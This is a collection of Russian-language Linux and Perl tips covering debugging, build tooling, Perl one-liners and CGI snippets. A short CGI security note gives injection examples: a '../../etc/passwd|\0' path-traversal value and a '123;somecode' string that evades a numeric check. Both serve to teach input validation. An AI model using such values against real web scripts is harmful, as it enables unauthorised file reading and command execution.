    И простой Makefile: 
    
     obj-m := inode_modify.o
    
    После чего в директории с модулем: 
    
     $ make -C  /path/to/kernel/sources SUBDIRS=$PWD modules
    
    Здесь нужно помнить, что исходники и версия gcc должны соответствовать тем, 
    которые были использованы при сборке используемого ядра.
    
    Далее тестируем модуль: 
    
     $ touch /dev/shm/test
     $ ls -i /dev/shm/test
     172461 /dev/shm/test
     $ sudo insmod ./inode_modify.ko name=/dev/shm/test new_num=12345
     $ ls -i /dev/shm/test
     12345 /dev/shm/test
     $ sudo rmmod inode_modify 
     $ dmesg |tail
     name = /dev/shm/test
     Inode number is 172461
     New inode number is 12345
     Exiting...
    
     
    ----* Как отлаживать сетевые скрипты с помощью netcat (доп. ссылка 1)   Автор: Вячеслав  [комментарии]
     
       mkdir tmp
       cd tmp
       mkfifo sock1 sock2
       nc -l -p 8000 < sock1 | tee sock2 &
       nc 10.245.134.32 23 < sock2 | tee sock1
    
    Теперь вместо того, чтобы устанавливать соединение непосредственно с узлом 10.245.134.32:23, 
    делаем telnet на localhost:8000 из другой консоли на хосте home и наблюдаем
    проходящие данные внутри
    tcp-сессии в консоли, где выполняли команды.
    
    Для этой же цели подходит и утилита socat: 
       socat -v tcp4-l:8000 tcp4:yandex.ru:80
    
     
    ----* Отладка php скриптов на стороне сервера   Автор: Pavel Piatruk  [комментарии]
     
    Иногда пользовательские скрипты или зависают, или хотят соединиться с чем-то
    запрещенным в файрволе,
    или интерпретатор неожиданно вылетает, не передав заголовок Content-type, что
    приводит к ошибке 500.
    Для того, чтобы разобраться в причине, попробуем отладить скрипты со стороны сервера, 
    не залезая в код php. Сначала придется изменить конфигурацию apache, чтобы php
    работало через suphp,
    а не через модуль mod_php5. Я не буду рассказывать, как это делается. Главное, кроме обычного, 
    "неотладочного", надо добавить свой обработчик в suphp.conf:
    
    	x-httpd-php_debug=php:/usr/local/bin/php-cgi.sh
    
    А вот содержимое этого скрипта /usr/local/bin/php-cgi.sh. Поставьте ему права 755. 
    Видно, что он запускает отладчиком php с перенаправлением отладочной информации в файл.
    
    	#!/bin/bash
    	/usr/bin/strace /usr/bin/php5-cgi $@ 2>/tmp/debug
    
    Не забудьте добавить этот обработчик в конфиг apache , это делается строкой
    
    	suPHP_AddHandler x-httpd-php_debug
    
    Затем в .htaccess нужного сайта допишите
    	
    	AddHandler x-httpd-php_debug .php
    
    В результате после повторной загрузки сайта появится файл /tmp/debug, в который будет добавляться
    отладочная информация о работе php нужного сайта. В это время лучше ограничить посещение сайта, 
    разрешив только 1 IP адрес, чтобы отладочной информации не было чрезмерно. 
    Обычно будет достаточно имени системного вызова, который приводит к прекращению
    выполнения скрипта.
    Можно поиграться с параметрами strace.
    
     
    ----* Ускорение компиляции в Gentoo (доп. ссылка 1)   Автор: wildarcher7  [комментарии]
     
    В наличии два ПК, на которых установлен Gentoo Linux с одинаковой версией gcc (4.3.1).
    Так как компиляция из исходников в Gentoo необходима и компиляция отнимает некоторое время,
    хотелось бы сократить время сборки. На помощь приходит distcc и ccache.
    
    Всё описанное ниже нужно проделать на обоих ПК.
    
        emerge distcc ccache #установим distcc и ccache
    
    Две данные строчки появились в данной статье при помощи метода профессора Копи-Пастера:
    
        mv /root/.ccache  /root/snafu.ccache
        ln -s /var/tmp/ccache  /root/.ccache
    
        distcc-config --set-hosts "192.168.0.1 192.168.0.2" #перечислим ip адреса серверов distcc
        rc-update add distccd #
        /etc/init.d/distccd restart
        ccache -M 4G
    
    /etc/conf.d/distccd
    
        DISTCCD_OPTS="${DISTCCD_OPTS} -allow 192.168.0.0/24" #разрешим доступ для подсети
    
    настроим make.conf
    
        FEATURES="ccache distcc"
        CCACHE_DIR="/var/tmp/ccache"
        CCACHE_SIZE="4G" 
        DISTCC_HOSTS="192.168.0.1 192.168.0.2"
        DISTCC_DIR="/tmp/.distcc"
        #DISTCC_VERBOSE="1" #раз комментировать при желании лицезреть подробный отчет о проделанной работе distcc
    
    Источник http://wildarcher7.wordpress.com/
    
     
    ----* VMWare Workstation 6 для отладки ядра Linux (доп. ссылка 1)   Автор: Тарасенко Николай  [комментарии]
     
    Недавно была добавлена интересная особенность в Workstation 6.0, которая делает
    WS6 отличным средством
    для отладки ядра Linux. Теперь можно с легкостью отлаживать Linux VM на хосте при помощи gdb 
    без каких-либо изменений в Guest VM. Ни каких kdb, перекомпиляций или еще одной
    машины не требуется.
    Все что вам потребуется, так это всего одна строчка в VM'шном конфигурационном файле.
    
    Чтобы использовать новую особенность, необходимо достать последний билд WS6:
       http://www.vmware.com/products/beta/ws/
    
    Разместить в вашем Linux VM конфигурационном файле строчку:
    
       debugStub.listen.guest32=1
    
    Теперь, всякий раз, когда вы запускаете виртуальную машину, Вы будете видеть на хост консоле:
    
       VMware Workstation is listening for debug connection on port 8832.
    
    Запустите gdb на хосте, ссылаясь на ядро, для которого у Вас есть System.map и
    присоедините его к виртуальной машине:
    
       % gdb
       (gdb) file vmlinux-2.4.21-27.EL.debug
       (gdb) target remote localhost:8832
    
     
    ----* Как посмотреть причину генерации core файла в gdb (доп. ссылка 1)   [комментарии]
     
    программа - файл рухнувшей программы, собранной с включением отладочной информации
    core - файл с core
    
    $ gdb
    
    Указываем файл рухнувшей программы, собранной с включением отладочной информации
      (gdb) программа
    
    Указываем файл с core, будет показана причина и строка на которой приложение рухнуло
      (gdb) core core  
      (gdb) info thread
      (gdb) info shared
      (gdb) info locals
      (gdb) info files
      (gdb) info variables
      (gdb) help info
    
    Смотрим состояние стека до падения
      (gdb) backtrace 1
      (gdb) backtrace 2
      или просто    (gdb) backtrace
     
    Указываем номер фрейма который будем смотреть подробнее (показан как #N)
      (gdb) frame 0
    
    Смотрим состояние переменных (в примере - result)
      (gdb) info locals
      (gdb) print result
      (gdb) whatis result
    
    Полезно также посмотреть на выполнении какого системного вызова происходит сбой используя программы
     strace (http://strace.sourceforge.net), ltrace (для Linux) или ktrace и truss (входят в состав FreeBSD).
    
     
    ----* Как избавиться от линковки GNOME приложения с лишними библиотеками (доп. ссылка 1)   [комментарии]
     
    Собираем по умолчанию:
        readelf -d /usr/local/bin/gnome-terminal |grep NEEDED | wc -l
        52 - требуется 52 библиотеки.
    
    Устанавливаем флаг --as-needed:
        export CFLAGS = "-Os -s -Wl,--as-needed"
    
    После пересборки, требуется 21 реально необходимая для работы библиотека.
    
     
    ----* Обобщение используемых моделей ввода/вывода (доп. ссылка 1)   [обсудить]
     

    Стратегии организации ввода-вывода:

    1. Блокируемый I/O - после вызова read/write происходит блокировка до завершения операции, функция завершается только после принятия или передачи блока данных.
    2. Неблокируемый I/0 - функция завершается сразу, если данные не были приняты/отправлены возвращается код ошибки (т.е. нужно вызывать функции I/O в цикле пока не получим положительный результат).
    3. Мультиплексирование через select/poll - опрашиваем список состояния сокетов, перебирая состояния определяем сокеты готовые для приема/передачи. Главный минус - затраты на перебор, особенно при большом числе неактивных сокетов.
      • select - число контролируемых сокетов ограничено лимитом FD_SETSIZE, в некоторых случаях лимит обходится пересборкой программы, в других - пересборкой ядра ОС.
      • poll - нет лимита FD_SETSIZE, но менее эффективен из за большего размера передаваемой в ядро структуры.
    4. Генерация сигнала SIGIO при изменении состояния сокета (ошибка, есть данные для приема, или отправка завершена), который обрабатывает обработчик SIGIO. В классическом виде применение ограничено и трудоемко, подходит больше для UDP.
    5. Асинхронный I/O - описан в POSIX 1003.1b (aio_open, aio_write, aio_read...), функция aio_* завершается мгновенно, далее процесс сигнализируется о полном завершении операции ввода/вывода (в предыдущих пунктах процесс информировался о готовности прочитать или передать данные, т.е. данные еще нужно было принять или отправить через read/write, в aio_* процесс сигнализируется когда данные полностью получены и скопированы в локальный буфер).
    6. Передача данных об изменении состояния сокета через генерацию событий. (специфичные для определенных ОС решения, малопереносимы, но эффективны).


     
    ----* Как посмотреть какие файлы пытается открыть или выполнить программа   [комментарии]
     
    strace -f -o strace.txt -e execve программа
    strace -f -o strace.txt -e open,ioctl программа
    
     
    ----* Как посмотреть какие функции системных библиотек используются в программе   [комментарии]
     
    nm "объектный или запускной файл"
    Для работы nm нужна таблица символов, т.е. нельзя использовать после утилиты
    strip или ключа "-s" в gcc.
    
     
    ----* Как пропатчить приложение запускаемое через inetd для определения IP клиента.   Автор: uldus  [обсудить]
     
    Си:
       struct sockaddr_in addr_name;
       socklen_t addr_len;
       addr_len = sizeof(addr_name);
       bzero(&addr_name, sizeof(addr_name));
       if (getpeername(0, (struct sockaddr *)&addr_name, &addr_len) >= 0){                          
         // выводим адрес в printf через inet_ntoa(addr_name.sin_addr)
       } 
    
    Perl:
       use Socket;
       my $std_sockaddr = getpeername(STDIN);
       my $cur_ipaddr = "0.0.0.0";
       if (defined $std_sockaddr){
          my ($tmp_port, $tmp_iaddr) = sockaddr_in($std_sockaddr);
          $cur_ipaddr = inet_ntoa($tmp_iaddr);
       }
    
     
    ----* Какие параметры указать GCC для оптимизации. (доп. ссылка 1)   [комментарии]
     
    -O6 - полная оптимизация (по умолчанию часто стоит -O2).
    -fomit-frame-pointer -использовать стек для доступа к переменным.
    -march=i686 -mcpu=i686 -DARCH=k6 -DCPU=k6 - оптимизация под CPU (586, 686,k5,k6,k7,athlon,pentiumpro).
    -ffast-math -funroll-loops
    
     
    ----* Как узнать какие динамические библиотеки прилинкованы к программе   [комментарии]
     
    ldd файл
    
     
    ----* Сборка хелловорлда под 17 платформ одним скриптом   Автор: Урри  [комментарии]
     
    Понадобилось настроить и запустить на сторонней машине автоматизированную
    сборку (и автотесты) своего кода сразу под ARM, MIPS, x86 и PowerPC - решил
    заодно поделиться с местным сообществом.
    
    Сейчас будет про автоматическую сборку. Про тестирование будет отдельно.
    
    Хотите собрать свой хелловорлд сразу под 17 (29 вариантов сборки, так как почти
    каждая платформа идёт в двух вариантах: libc и musl)? Если да - внизу шаги.
    
    Сборка осуществляется с помощью сборочного инструментарий void-linux, за что им
    огромное спасибо - работа проделана огромная.
    
    Рецепт описывается простой и последовательный. Желающие сделать что-то
    нестандартное или разнообразить секс^Wпроцесс сборки идут читать инструкцию на
    гитхаб, она не слишком большая и вполне понятная.
    
    Вот, что нам надо:
    
    
  • Linux, любой (я использую Mint),
  • Git (им будем ставить тулчейны для сборки исходных текстов),
  • 20+ ГБ на диске (у меня выделенный SSD, хотя все равно долго получается). Все остальное автоматически доставится в процессе. Шаг 1: xbps Собираем xbps: $ git clone --depth 1 https://github.com/void-linux/xbps $ cd xbps $ ./configure --enable-rpath --prefix=/usr --sysconfdir=/etc $ make Ставим его в отдельный каталог, не замусоривая систему (пусть это будет каталог ~/xbps-git) $ make DESTDIR=~/xbps-git install clean Прекрасно, базовый инструментарий готов. Добавляем путь к xbps в PATH (потом это же сделаем в скрипте) $ export PATH=~/xbps-git/usr/bin:$PATH Шаг 2: сборочный инструментарий void-linux. Забираем инструментарий: $ git clone --depth 1 https://github.com/void-linux/void-packages $ cd void-packages Не забываем про PATH к xbps, который прописали раньше (export PATH=~/xbps-git/usr/bin:$PATH) Доставляем локально недостающие детали: $ ./xbps-src binary-bootstrap Шаг 3: готовим свой код к сборке Ваш код, само собой, лежит где-то на гитхабе (гитлабе, дома) и у него проставлен тег "1.0". В каталоге srcpkgs создаем свой подкаталог с любым именем (у нас будет helloworld) В созданном каталоге размещаем вот такой текстовый файл "template": # Template file for 'helloworld' pkgname=helloworld version=1.0 revision=1 build_style=gnu-makefile hostmakedepends="xxd" short_desc="Hello World" maintainer="superpuperprogrammer <superpuperprogrammer@gmail.com>" license="MIT" homepage="https://superpuperprogrammer.github.io/" distfiles="https://github.com/superpuperprogrammer/helloworld/archive/${version}.tar.gz" checksum=b5...............f1 do_check() { make check } post_install() { vlicense LICENSE } "xxd" в зависимостях просто так - впишите своё, если надо; адрес архива с кодом вписываете свой, в примере гитхаб по тегу; checksum получаете запустив "sha256sum 1.0.tar.gz"; "make check" можете исключить, но с ним интереснее. Шаг 4, последний. Собираем. На выбор есть много платформ/архитектур, вот их список: x86_64-musl aarch64-musl aarch64 armv5tel-musl armv5tel armv5te-musl armv5te armv6hf-musl armv6hf armv6l-musl armv6l armv7hf-musl armv7hf armv7l-musl armv7l i686-musl i686 mipselhf-musl mipsel-musl mipshf-musl mips-musl ppc64le-musl ppc64le ppc64-musl ppc64 ppcle-musl ppcle ppc-musl ppc. Впечатляет? Собираем так: $ ./xbps-src -a armv7hf-musl -C pkg helloworld Вместо armv7hf-musl подставляете нужную платформу из списка. В процессе xbps-src сам доставит отсутствующий тулчейн и сам запустит сборку. Берите пиво, колу, чай (что вы пьете) и наблюдайте логи. Лично я делаю скриптом: for arch in x86_64-musl \\ aarch64-musl aarch64 \\ armv5tel-musl armv5tel armv5te-musl armv5te armv6hf-musl armv6hf armv6l-musl armv6l armv7hf-musl armv7hf armv7l-musl armv7l \\ i686-musl i686 \\ mipselhf-musl mipsel-musl mipshf-musl mips-musl \\ ppc64le-musl ppc64le ppc64-musl ppc64 \\ ppcle-musl ppcle \\ ppc-musl ppc do ./xbps-src -a $arch clean helloworld ./xbps-src -a $arch -C pkg helloworld || exit $? done Пока все. Автоматическое тестирование всех этих платформ/архитектур не вставая с кресла и не создавая сорок виртуалок будет в следующем совете - https://www.opennet.ru/tips/3201_helloworld_build_compile_libc_musl.shtml
  •  
    ----* Компиляция приложений с поддержкой OpenCL без закрытых драйверов   Автор: Аноним  [комментарии]
     
    При сборке Wine не для личного использования, а чтобы распространять сборки, я
    столкнулся с проблемой. С какой реализацией OpenCL линковать? NVIDIA, AMD,
    Intel, Mesa? Ответ - FreeOCL!
    
    На самом деле, не важно с чем линковать. У всех известных мне реализаций
    OpenCL, сама библиотека libOpenCL.so.1 занимает  около 30 Кб.
    Оказывается, внутри этой библиотеки ничего нет. Сам OpenCL находится в другой
    библиотеке (например в libatiocl64.so - см.
    /etc/OpenCL/vendors/*.icd для подробностей). Однако залить
    проприетарный драйвер в OBS-репозиторий я не могу, так как закрытый код.
    Остаётся только Mesa и FreeOCL.
    
    FreeOCL это программная реализация OpenCL, написанная на C++, и имеющая у
    себя в зависимостях libatomic_ops - а LLVM не имеющая. Установив в систему
    FreeOCL и opencl-headers, я успешно собрал Wine. Причём
    Wine линкуется только с OPENCL_1.0, что не помешало конечному софту,
    запущенному в Wine, успешно задействовать расширения 1.2 и 2.0.
    
    В общем, рекомендую всем, кто до сих пор собирает с AMD APP SDK 3.0, перейти на
    FreeOCL. Я попробовал скомпилировать весь известный мне OpenCL-софт при помощи
    FreeOCL, а затем запустить на NVIDIA и AMD - всё работает безупречно. Не
    падает, не отказывается стартовать, и демонстрирует ровно ту же скорость работы.
    
    P.S. Бинарник получает зависимость от libOpenCL.so.1 (параметр
    -lOpenCL), а пакет RPM или DEB также получает от pkg-config ещё
    несколько зависимостей:
    
       libOpenCL.so.1(OPENCL_1.0)(64bit)
       libOpenCL.so.1(OPENCL_1.1)(64bit)
       libOpenCL.so.1(OPENCL_1.2)(64bit)
       libOpenCL.so.1(OPENCL_2.0)(64bit)
    
    Поэтому если вы собираете пакеты, а не просто tar.gz архив с программой,
    рекомендую пропатчить FreeOCL патчем
    freeocl-0.3.6-disable-symbol-versioning.patch. В этом случае, пакет получит
    зависимость только от libOpenCL.so.1()(64bit). Например в моей
    системе в пакете NVIDIA 340.xx нет "версионинга" OpenCL, а в 390.xx
    он есть. Вследствие чего, пакет не хотел устанавливаться, но после force
    install - работал.
    
     

       Perl
    CGI
    Regex (регулярные выражения)
    Массивы и Хэши
    Отладка программ на Perl
    Переменные в Perl
    Полезные подпрограммы на Perl
    Обработка изображений на Perl
    Подпрограммы для WEB
    Работа с сетью и IP адресами на Perl
    Работа со временем и датами
    Работа с файлами
    Работа с электронной почтой
    Функции и модули в Perl

    ----* 10 полезных опций для написания однострочников на языке Perl (доп. ссылка 1)   [комментарии]
     
    В простейших случаях perl можно использовать в командной строке как замену grep и sed, например:
    
        perl -ne 'print if /foo/' 
        perl -pe 's/foo/bar/' 
    
    Но существует ряд интересных особенностей, которые часто упускаются из виду:
    
    Опция "-l"
    
    При добавлении опции "-l" perl автоматически очищает символ перевода строки
    перед обработкой в скрипте и добавляет его при каждом выводе данных.
    
    Например, для очистки завершающих каждую строку файла пробелов можно использовать:
    
        perl -lpe 's/\s*$//'
    
    (если указать perl -pe 's/\s*$//', то будут удалены и символы перевода строки)
    
    
    Опция "-0"
    
    По умолчанию perl разбивает входящий поток на строки, обрабатывая каждую строку
    отдельно. Опция "-0" позволяет выполнить операцию над файлом целиком, без
    разбиения на строки по символу перевода строки, а с разбиением на блоки по
    нулевому символу (так как в текстовых файлах \0 не встречается можно
    использовать -0 для обработки всего файла разом).
    
    Например, для удаления из текущей директории всех файлов, имена которых
    начинаются с тильды, можно использовать:
    
       find . -name '*~' -print0 | perl -0ne unlink
    
    Опция "-i"
    
    При указании "-i" perl считывает поток данных из указанного в командной строке
    файла, а затем записывает в него же результат работы, заменяя его. В качестве
    аргумента можно указать расширение для создания резервной копии файла.
    
    Например для удаления всех комментариев в скрипте script.sh можно использовать:
    
          perl -i.bak -ne 'print unless /^#/' script.sh
    
    На случай ошибки, старая версия файла будет сохранена в script.sh.bak.
    
    
    Оператор ".."
    
    Для оперировании с диапазоном строк необходимо учитывать состояние прошлых
    вычислений, для чего можно использовать оператор "..".
    Например, для раздельной выборки всех GPG-ключей из одного файла, выводя только
    данные, идущие между указанным заголовком и футером, можно использовать:
    
       perl -ne 'print if /-----BEGIN PGP PUBLIC KEY BLOCK-----/../-----END PGP PUBLIC KEY BLOCK-----/' FILE
    
    Опция "-a"
    
    При указании опции "-a" perl автоматически разбивает каждую строку на части, по
    умолчанию используя пробел в качестве разделителя, и помещает ее элементы в
    массив @F.
    Например, для вывода 8 и 2 столбца можно использовать: 
    
       ls -l | perl -lane 'print "$F[7] $F[1]"'
    
    Опция "-F"
    
    Опция "-F" позволяет указать символ разделителя для разбиения строки при использовании опции "-a".
    Например, для разбиения не по пробелу, а по двоеточию, нужно указать:
    
       perl -F: -lane 'print $F[0]' /etc/passwd
    
    
    Оператор "\K"
    
    При указании "\K" внутри регулярного выражения, можно отбросить все ранее
    найденные совпадения, что позволяет упростить операции по замене данных без
    задействования переменных.
    
    Например, для замены поля "From:" в тексте email можно использовать:
    
       perl -lape 's/(^From:).*/$1 Nelson Elhage <nelhage\@ksplice.com>/'
    
    Который можно свести к
    
       perl -lape 's/^From:\K.*/ Nelson Elhage <nelhage\@ksplice.com>/'
    
    уточнив, что мы не хотим заменять начало строки.
    
    Хэш %ENV
    
    К любой переменной системного окружения можно получить доступ через хэш %ENV,
    что можно использовать для выполнения операций с одинарными кавычками,
    использованию которых мешают проблемы с экранированием данного символа в shell.
    
    Для задачи вывода имен пользователей, содержащих апостроф можно использовать:
    
       perl -F: -lane 'print $F[0] if $F[4] =~ /'"'"'/' /etc/passwd
    
    но считать кавычки задача неприятная, поэтому данную строку можно свести к:
    
       env re="'" perl -F: -lane 'print $F[0] if $F[4] =~ /$ENV{re}/' /etc/passwd
    
     
    Конструкции "BEGIN" и "END"
    
    Блоки BEGIN { ... } и END { ... } позволяют организовать выполнение кода до и
    после цикличной обработки строк файла.
    Например, для подсчета суммы второго столбца в CSV файле можно использовать:
    
       perl -F, -lane '$t += $F[1]; END { print $t }'
    
    Опция "-MRegexp::Common"
    
    Через указание опции "-M" можно загрузить любой дополнительный perl-модуль. В
    однострочных скриптах удобно использовать модуль Regexp::Common, содержащий
    коллекцию типовых регулярных выражений для обработки различных видов данных.
    Например, для разбора вывода команды ifconfig можно использовать готовые маски
    для определения IP-адресов:
    
       ip address list eth0 | \
          perl -MRegexp::Common -lne 'print $1 if /($RE{net}{IPv4})/'
    
     
    ----* Замена установленного вручную perl-модуля на версию из пакета (доп. ссылка 1)   [комментарии]
     
    Иногда требуется заменить ранее вручную установленный perl-модуль на его
    вариант, появившийся в составе дистрибутива (Ubuntu/Debian).
    
    Для удаления установленного вручную модуля можно использовать скрипт:
    
       #!/usr/bin/perl -w
       use ExtUtils::Packlist;
       use ExtUtils::Installed;
       $ARGV[0] or die "Usage: $0 Module::Name\n";
       my $mod = $ARGV[0];
       my $inst = ExtUtils::Installed->new();
       foreach my $item (sort($inst->files($mod))) {
         print "removing $item\n";
         unlink $item;
       }
       my $packfile = $inst->packlist($mod)->packlist_file();
       print "removing $packfile\n";
       unlink $packfile;
    
    Запускаем скрипт для удаления, например, модуля XML::SAX:
    
      # chmod u+x rm_perl_mod.pl
      # ./rm_perl_mod.pl XML::SAX
    
    Устанавливаем вариант модуля из пакетов:
    
      # apt-get install libxml-sax-expat-perl
    
     
    ----* Как в Debian/Ubuntu установить отсутствующий в репозитории Perl модуль   [комментарии]
     
    В случае отсутствия определенного Perl модуля в стандартных репозиториях Debian
    и Ubuntu, можно поставить модуль через задействования механизмов установки
    модулей CPAN, но такие модули не впишутся в пакетную инфраструктуру
    дистрибутива. Поэтому для установки нестандартных Perl модулей следует
    использовать dh-make-perl.
    
    Ставим пакет dh-make-perl:
       apt-get install dh-make-perl
    
    Устанавливаем нужный Perl модуль (в примере Module::Name) из репозитория CPAN:
    
       dh-make-perl --cpan Module::Name --install
    
    Например: 
    
       dh-make-perl --cpan HTML::CTPP2 --install
    
    Утилита dh-make-perl сама загрузит нужный модуль, соберет его, оформит deb-пакет и установит его.
    
    Если модуль не из CPAN, можно распаковать модуль и выполнить (--build -
    сформировать пакет, но не устанавливать):
    
     dh-make-perl директория_с_модулем --build
    
     
    ----* Как выделить цветом определенное слово, используя "tail -f" (доп. ссылка 1)   [комментарии]
     
    Пример, выделения слова Reject при просмотре хвоста почтового лога:
        tail -f /var/log/maillog |perl -p -e  's/Reject/\033\[46;1mReject\033[0m/gi;'
    
    Если нужно не только выделять цветом, но и подавать звуковой сигнал при появлении test@test.ru:
        tail -f /var/log/maillog |perl -p -e  's/(test\@test.ru)/\033\[46;1m$1\033[0m\007/gi;'
    
     
    ----* Кратко о безопасности в CGI скриптах на Perl   [комментарии]
     
    - Главное правило - всегда явно проверять все переменные полученные из внешних источников 
        (cgi-параметры, cookie, переменные окружения, имя файла и путь (при листинге директории по readdir));
    
    - Вырезать спецсимволы в переменных используемых в сис. функциях (open(),
    system(), ``) и обращениях к sql.
        вырезание: s/[^\w\d_\-.]//g или tr/;<>*|?`&$!#{}[]:'\/\n\r\0// для open(), system(), ``.
        не забывать про \0 (передают %00, который воспринимается как конец стоки)
        Пример: $var="../../etc/passwd|\0"; open(F, "/home/test/$var.txt")
    
    - при открытии файла на чтение в open() всегда указывать "<$file";
    
    - Осторожность при использовании переменной внутри eval() и regex (/\Q$var\E/
    иначе можно подставить ?{код}).
    
    - Нельзя проверять числовые параметры через "if ($var > 0)", так как может
    пройти $var="123;somecode";
    
     
    ----* Как ограничить время выполнения Perl блока таймаутом   [комментарии]
     
    use constant TIMEOUT => 1;
    eval {
       local $SIG{ALRM} = sub { die "timeout during sysread\n"; };
       alarm(TIMEOUT);
       $read_flag = sysread($filehandle, $c, 1);
       alarm(0);
    };
    
     
    ----* Как отключить буферизацию вывода в Perl   [обсудить]
     
    $|=1;
    
     
    ----* Как писать многострочные комментарии   [обсудить]
     
    код
    =comment
    Текст
    Комментария
    =cut
    код
    
     
    ----* Как просмотреть руководство по конкретной perl функции   [обсудить]
     
    perldoc -f имя_функции
    perldoc -q слово_в_faq
    
     
    ----* Генерация выполняемого perl файла из core   [обсудить]
     
    1.
      $ /usr/bin/perl -u myprog.pl
      $ undump myprog /usr/bin/perl core
    
    2.
      $ perl -MO=Bytecompile,-ofile sourcescript
    
    undump - http://ftp.ktug.or.kr/tex-archive/support/undump/
    
     
    ----* Как скомпилировать Perl скрипт в бинарный вид, чтобы другие не смогли увидеть исходный текст.   [обсудить]
     
    perlcc script.pl
    Подробнее, man perlcc
    Если perlcc выдаст ошибку, что невозможно найти DynaLoader.a, 
    впишите в начало компилируемого файла "use DynaLoader;".
    
    Метод 2:
      В байткод:
      perl -MO=Bytecode,-H,-o out_file.bin in_file.pl 
    
      В исполняемый файл (с промежуточной генерацией кода на Си)
      perl -MO=C,-ofoo.c foo.pl
      perl cc_harness -o foo foo.c
      или
      perl -MO=C,-v,-DcA,-l2048 bar.pl > /dev/null
      или
      perl -MO=CC,-O2,-ofoo.c foo.pl
      perl cc_harness -o foo foo.c
      или
      perl -MO=CC,-mFoo,-oFoo.c Foo.pm
      perl cc_harness -shared -c -o Foo.so Foo.c
    
    
    Также см. проект PAR http://par.perl.org/
    
     

       CGI

    ----* Какую простейшую защиту от сабмита формы поисковым или спам-роботом можно предпринять.   [комментарии]
     
    В связи с участившимися случаями появления web-роботов занимающихся сабмитом форм, рекомендую:
    if ( ($ENV{"HTTP_REFERER"} !~ /sitename\.ru/i) || 
         ($ENV{"HTTP_USER_AGENT"} !~ /(netscape|mozilla|links|lynx|opera|msie|konqueror)/i) ){
        die "Несанкционированный запрос !";
    }
    
     
    ----* В чем могут быть причины не выставления Cookie из скрипта. (доп. ссылка 1)   [обсудить]
     
    1. Ограничение на максимально возможное число кук или размер куки, у каждого
    браузера свой предел (лучше не больше 20).
    2. Ошибка в указании  (или не указание) времени жизни Cookie.
    3. В параметрах указан неправильный domain (например не текущий).
    4. Запуск .cgi скрипта не напрямую, а через SSI (из .shtml), соответственно cookie
     в заголовке воспринята не будет, выставлять нужно используя JavaScript.
    
     
    ----* Как считать список установленных cookies в хеш.   [обсудить]
     
    sub load_cookies{
            local (*cook_arr) = @_;
        foreach (split(/\;\s*/,$ENV{'HTTP_COOKIE'})){
            my ($cur_key, $cur_val) = split(/\=/);
            $cook_arr{"$cur_key"} = $cur_val;
        }
    }
    load_cookies(*cooks); print $cooks{"cook_name"};
    
     
    ----* Заметка по установке хэдеров из cgi   Автор: Yuri A. Kabaenkov  [обсудить]
     
    При установки хэдера из cgi (Location,Content-Type, etc) многие пишут
    (print "Location: http://test.com\n\n";), но данную запись(\n\n) могут
    не понять некоторые системы типа Mac и т.д.
    Правильней отправлять хэдер как:
    print "Location: http://test.com\r\n\r\n";
    Обратите внимание на (\r\n\r\n)
    
     
    ----* Как в SSI передать параметры скрипту используя метод POST   [комментарии]
     
    <!--#exec cgi="something.cgi" -->
    Для метода GET: <!--#include virtual="/cgi-bin/test.cgi?$QUERY_STRING"-->
    
     
    ----* Еще один способ отладки CGI скриптов на перле   Автор: Vovik Alyekhin  [обсудить]
     
    use CGI::Debug;
    Брать соответственно на cpan-е
    
     
    ----* Как добится показа русских букв в JavaScript (перекодировка в UTF)   [обсудить]
     
    Для показа русских букв в JavaScript блоке нужно перекодировать их в UTF:
    sub koi2utf{
        my($str)=@_;
    	$_=$str;
            s/ё/&#1105;/g;	s/Ё/&#1025;/g;	s/ю/&#1102;/g;	s/а/&#1072;/g;
    	s/б/&#1073;/g;	s/ц/&#1094;/g;	s/д/&#1076;/g;	s/е/&#1077;/g;
    	s/ф/&#1092;/g;	s/г/&#1075;/g;	s/х/&#1093;/g;	s/и/&#1080;/g;
    	s/й/&#1081;/g;	s/к/&#1082;/g;	s/л/&#1083;/g;	s/м/&#1084;/g;
    	s/н/&#1085;/g;	s/о/&#1086;/g;	s/п/&#1087;/g;	s/я/&#1103;/g;
    	s/р/&#1088;/g;	s/с/&#1089;/g;	s/т/&#1090;/g;	s/у/&#1091;/g;
    	s/ж/&#1078;/g;	s/в/&#1074;/g;	s/ь/&#1100;/g;	s/ы/&#1099;/g;
    	s/з/&#1079;/g;	s/ш/&#1096;/g;	s/э/&#1101;/g;	s/щ/&#1097;/g;
    	s/ч/&#1095;/g;	s/ъ/&#1098;/g;	s/Ю/&#1070;/g;	s/А/&#1040;/g;
    	s/Б/&#1041;/g;	s/Ц/&#1062;/g;	s/Д/&#1044;/g;	s/Е/&#1045;/g;
    	s/Ф/&#1060;/g;	s/Г/&#1043;/g;	s/Х/&#1061;/g;	s/И/&#1048;/g;
    	s/Й/&#1049;/g;	s/К/&#1050;/g;	s/Л/&#1051;/g;	s/М/&#1052;/g;
    	s/Н/&#1053;/g;	s/О/&#1054;/g;	s/П/&#1055;/g;	s/Я/&#1071;/g;
    	s/Р/&#1056;/g;	s/С/&#1057;/g;	s/Т/&#1058;/g;	s/У/&#1059;/g;
    	s/Ж/&#1046;/g;	s/В/&#1042;/g;	s/Ь/&#1068;/g;	s/Ы/&#1067;/g;
    	s/З/&#1047;/g;	s/Ш/&#1064;/g;	s/Э/&#1069;/g;	s/Щ/&#1065;/g;
    	s/Ч/&#1063;/g;	s/Ъ/&#1066;/g;
        return $_;
    }
    
     
    ----* Что использовать для отладки CGI если нет доступа к логам сервера   [обсудить]
     
    use CGI::Carp qw (fatalsToBrowser);
    
     
    ----* Как закодировать и раскодировать строку %XX в URL.   [комментарии]
     
    Закодировать:
    $toencode =~ s/([^a-zA-Z0-9_.-])/uc sprintf("%%%02x",ord($1))/eg;
    Раскодировать:
    $todecode =~ s/%(..)/pack("c",hex($1))/ge;
    
     

       Regex (регулярные выражения)

    ----* Как в Perl скрипте сосчитать число совпадений в regex.   [комментарии]
     
    $numbers = () = ($src_string =~ m/\d+/g);
    
     
    ----* Как в perl regex обнаружить несколько одинаковых, подряд идущих, символов.   [обсудить]
     
    my $a="ttttest"; # Нужно определить 4 подряд идущих символа
    if ($a =~ /([a-z])\1{3}/ ){
       print "4 совпало.\n";
    }
     где, \1 - обратная ссылка на совпадение в скобках, {3} - повтор 3 раза.
    
     
    ----* Как при использовании переменной в regex запретить интерпретацию спец. символов.   [обсудить]
     
    Нужно поместить переменную между "\Q" и "\E":
      $var =~ m/\Q$mask\E/;
    Можно отдельно вызвать функцию для экранирования:
      $var = quotemeta($var);
    
     
    ----* Как в Perl вызывать функции внутри regex.   [обсудить]
     
    Пример замены первой буквы в строке с нижнего регистра на верхний:
       $a =~ s/^(\w)(.*)$/uc($1).$2/e;
